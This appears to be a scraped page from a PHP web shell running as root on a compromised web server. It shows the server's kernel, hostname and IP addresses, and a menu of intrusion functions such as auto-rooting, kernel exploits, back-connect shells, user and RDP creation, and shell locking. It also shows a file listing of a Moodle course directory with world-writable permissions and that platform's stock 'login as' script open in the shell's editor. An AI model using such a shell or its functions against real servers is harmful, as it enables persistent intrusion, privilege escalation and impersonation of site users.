Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
course /
[ HOME SHELL ]
Name
Size
Permission
Action
format
[ DIR ]
drwxrwxrwx
publish
[ DIR ]
drwxrwxrwx
report
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
yui
[ DIR ]
drwxrwxrwx
category.php
1.21
KB
-rwxrwxrwx
changenumsections.php
2.19
KB
-rwxrwxrwx
completion.js
3.81
KB
-rwxrwxrwx
completion.php
5.1
KB
-rwxrwxrwx
completion_form.php
14.43
KB
-rwxrwxrwx
delete.php
3.19
KB
-rwxrwxrwx
delete_category_form.php
3.94
KB
-rwxrwxrwx
dndupload.js
39.78
KB
-rwxrwxrwx
dndupload.php
1.56
KB
-rwxrwxrwx
dnduploadlib.php
30.38
KB
-rwxrwxrwx
edit.php
6.99
KB
-rwxrwxrwx
edit_form.php
16.54
KB
-rwxrwxrwx
editcategory.php
4.34
KB
-rwxrwxrwx
editcategory_form.php
3.18
KB
-rwxrwxrwx
editsection.php
3.68
KB
-rwxrwxrwx
editsection_form.php
16.63
KB
-rwxrwxrwx
enrol.php
1021
B
-rwxrwxrwx
externallib.php
89.19
KB
-rwxrwxrwx
index.php
2
KB
-rwxrwxrwx
info.php
1.61
KB
-rwxrwxrwx
jumpto.php
1.23
KB
-rwxrwxrwx
lib.php
118.29
KB
-rwxrwxrwx
loginas.php
2.32
KB
-rwxrwxrwx
manage.php
31.95
KB
-rwxrwxrwx
mod.php
11.76
KB
-rwxrwxrwx
modduplicate.php
5.37
KB
-rwxrwxrwx
modedit.php
11.48
KB
-rwxrwxrwx
modlib.php
20.91
KB
-rwxrwxrwx
moodleform_mod.php
40.69
KB
-rwxrwxrwx
pending.php
5.44
KB
-rwxrwxrwx
recent.php
8.21
KB
-rwxrwxrwx
recent_form.php
6.72
KB
-rwxrwxrwx
renderer.php
100.62
KB
-rwxrwxrwx
report.php
1.32
KB
-rwxrwxrwx
request.php
2.27
KB
-rwxrwxrwx
request_form.php
6.54
KB
-rwxrwxrwx
reset.php
3.46
KB
-rwxrwxrwx
reset_form.php
6.51
KB
-rwxrwxrwx
resources.php
4.94
KB
-rwxrwxrwx
rest.php
8.79
KB
-rwxrwxrwx
scales.php
4.96
KB
-rwxrwxrwx
search.php
3.81
KB
-rwxrwxrwx
style.css
0
B
-rwxrwxrwx
switchrole.php
2.53
KB
-rwxrwxrwx
togglecompletion.php
6.13
KB
-rwxrwxrwx
user.php
4.93
KB
-rwxrwxrwx
view.php
11.49
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : loginas.php
<?php // Allows a teacher/admin to login as another user (in stealth mode) require_once('../config.php'); require_once('lib.php'); $id = optional_param('id', SITEID, PARAM_INT); // course id $redirect = optional_param('redirect', 0, PARAM_BOOL); $url = new moodle_url('/course/loginas.php', array('id'=>$id)); $PAGE->set_url($url); /// Reset user back to their real self if needed, for security reasons you need to log out and log in again if (session_is_loggedinas()) { require_sesskey(); require_logout(); // We can not set wanted URL here because the session is closed. redirect(new moodle_url($url, array('redirect'=>1))); } if ($redirect) { if ($id and $id != SITEID) { $SESSION->wantsurl = "$CFG->wwwroot/course/view.php?id=".$id; } else { $SESSION->wantsurl = "$CFG->wwwroot/"; } redirect(get_login_url()); } ///------------------------------------- /// We are trying to log in as this user in the first place $userid = required_param('user', PARAM_INT); // login as this user require_sesskey(); $course = $DB->get_record('course', array('id'=>$id), '*', MUST_EXIST); /// User must be logged in $systemcontext = context_system::instance(); $coursecontext = context_course::instance($course->id); require_login(); if (has_capability('moodle/user:loginas', $systemcontext)) { if (is_siteadmin($userid)) { print_error('nologinas'); } $context = $systemcontext; $PAGE->set_context($context); } else { require_login($course); require_capability('moodle/user:loginas', $coursecontext); if (is_siteadmin($userid)) { print_error('nologinas'); } if (!is_enrolled($coursecontext, $userid)) { print_error('usernotincourse'); } $context = $coursecontext; } /// Login as this user and return to course home page. $oldfullname = fullname($USER, true); session_loginas($userid, $context); $newfullname = fullname($USER, true); add_to_log($course->id, "course", "loginas", "../user/view.php?id=$course->id&user=$userid", "$oldfullname -> $newfullname"); $strloginas = get_string('loginas'); $strloggedinas = get_string('loggedinas', '', $newfullname); $PAGE->set_title($strloggedinas); $PAGE->set_heading($course->fullname); $PAGE->navbar->add($strloggedinas); notice($strloggedinas, "$CFG->wwwroot/course/view.php?id=$course->id");
Close